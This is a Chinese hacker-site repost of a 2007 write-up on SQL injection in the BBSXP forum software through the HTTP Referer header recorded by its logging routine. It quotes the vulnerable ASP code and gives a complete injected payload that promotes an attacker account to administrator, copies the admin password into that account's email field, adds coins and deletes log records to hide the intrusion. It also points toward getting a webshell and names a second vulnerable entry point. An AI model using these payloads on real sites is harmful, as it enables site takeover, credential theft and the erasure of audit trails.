黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]bbsxp log注入
      ★★★★★

bbsxp log注入

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-24 9:57:45

今天在群里看到有人在公布bbsxp0day,后来看了下,和我这个一样,也是log注入,sobiny大锅投稿后BBSXP就被传开了,555555555。俺每次都是还没拿站就被人拿去了。

新云的也不会这样吧。。。上帝保佑~ 啊门。

=======================================================

bbsxp
By WhyTt
参数直接带如查询的函数和过程

menu
BBSList
ForumTree
Log
ShowRank
ShowRole
DelFile//deletefile

还记的以前在blog发的一篇bbsxp分析文档,http://computer.mblogger.cn/whytt/posts/59457.aspx

由于当时只看到在监狱那里有对log的引用,而没看到这里居然还有,所以一直没继续看下去,考试大部分完了,现在每天没撒事,于是看看代码打发时间,今天早上选的是bbsxp来开刀,嘿嘿~~~~

在bank.asp这个文件中,在倒数第6行那里有个对log过程的引用,
就是在银行转帐这里,思路是这里的。

先注册2个用户,拿一个用户跟几个帖子,赚10个金币,然后去银行那里去转帐,选自己刚才注册的另一个用户,然后抓个包,修改数据包里的相关参数,具体请看log过程

sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub

我们就拿其中的Request.ServerVariables("HTTP_REFERER")来注入,这个log过程在我转帐的时候执行的查询

insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','http://127.0.0.1/Bank.asp','http://127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt')

其中最后一个http://127.0.0.1/Bank.asp就是我们需要修改的Request.ServerVariables("HTTP_REFERER"),为http://127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--

这样带入查询就是:

insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','http://127.0.0.1/Bank.asp','http://127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--这样就把我们的whytt设置成了管理员了,而且把后台密码输出到whytt的油箱那里,而且给自己加上了999的金币,哈哈够用了吧。最后删除log表中我们的操作记录,最后然后进后台看web的绝对路径,然后通过backup log来拿webshell。

补充:为了进一步确认数据库的类型,可以通过bbsxp的一个小bug来实现。
http://127.0.0.1/UserTop.asp?order='whytt''0
这里有时候不暴错,就在后面乱加些字符吧。。呵呵~~~我测试过,加了几次就暴错,就看到数据库的类型了。 :)

后来发现用bank.asp这里来搞非常费力,要有足够的金币,所以又专门找了下其他asp文件,发现在

if Request.Form("UpFileID")<>"" then
UpFileID=split(Request.form("UpFileID"),",")
for i = 0 to ubound(UpFileID)-1
Conn.execute("update [BBSXP_UpFiles] set Category='"&Category&"',Description='"&Subject&"' where id="&int(UpFileID(i))&" and UserName='"&CookieUserName&"'")
next
end if
response.write ("<script>alert()</script>")
Log("修改帖子成功,主题ID:"&ThreadID&",帖子ID:"&PostID&"")

这个editpost.asp文件也有对log过程的引用,于是方法简单了,发个帖子,然后edit,然后修改抓到的数据包,重复修改Request.ServerVariables("HTTP_REFERER"),就可以达到同样的效果,呵呵~~

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886